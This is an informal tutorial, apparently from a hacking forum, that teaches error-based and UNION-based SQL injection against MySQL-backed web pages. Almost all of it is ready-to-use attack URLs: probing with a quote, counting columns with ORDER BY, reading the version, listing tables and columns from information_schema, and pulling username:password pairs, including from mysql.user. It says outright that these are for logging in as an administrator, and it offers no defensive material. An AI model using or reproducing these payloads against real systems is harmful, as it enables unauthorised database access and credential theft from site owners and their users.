SQL INJECTION (ERROR BASED)

SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how touse it to get some useful information.

First of all: What is SQL injection?

It’s one of the most common vulnerability in web applications today.It allows attacker to execute database query in url and gain accessto some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it)  

2.Blind SQL Injection (the harder part)

So let’s start with some action  

1). Check for vulnerability

Let’s say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5′

so if we get some error like“You have an error in your SQL syntax; check the manual that corresponds to your 

MySQL server version for the right etc..."or something similar

that means is vulrnable to sql injection  

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order

the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <– no error

http://www.site.com/news.php?id=5 order by 2/* <– no error

http://www.site.com/news.php?id=5 order by 3/* <– no error

http://www.site.com/news.php?id=5 order by 4/* <– error (we get message

like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found

that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works  

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not 

working or you get some error, then try --it’s a comment and it’s important for our query to work properly.

let say that we have number 2 on the screen, now to check for versionwe replace the number 2 with @@version or version() and get someting like 

4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 

1,@@version,3/*

if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

i didn’t see any paper covering this problem, so i must write it  

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1)

,3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version  

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i 

will describe for MySQL > 5 version.we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s …

common column names are: username, user, usr, user_name, password, pass, passwd, 

pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* 

(we see number 2 on the screen like before, and that's good  )

we know that table admin exists…

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* 

(if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc…

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* 

(if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the 

database is set up  

i.e md5 hash, mysql hash, sha1…

now we must complete query to look nice  

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3

from admin/*

Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),

password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser  

if can’t guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password)

,3 from mysql.user/*

6). MySQL 5

Like i said before i’m gonna explain how to get table and column namesin MySQL > 5.

For this we need information_schema. It holds all tables and columns

in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 

from information_schema.tables/*

here we replace the our number 2 with table_name to get the first

table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to 

list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 

from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3

from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3

from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth,

auth_user etc...  

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from 

information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from 

information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc…  

if you wanna display column names for specific table use this query. (where clause)

let’s say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from

information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in

table users.

Note that this won’t work if the magic quotes is ON.

let’s say that we found colums user, pass and email.

now to complete query to put them all together  

for that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email)

from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

That’s all in this part, now we can proceed on harder part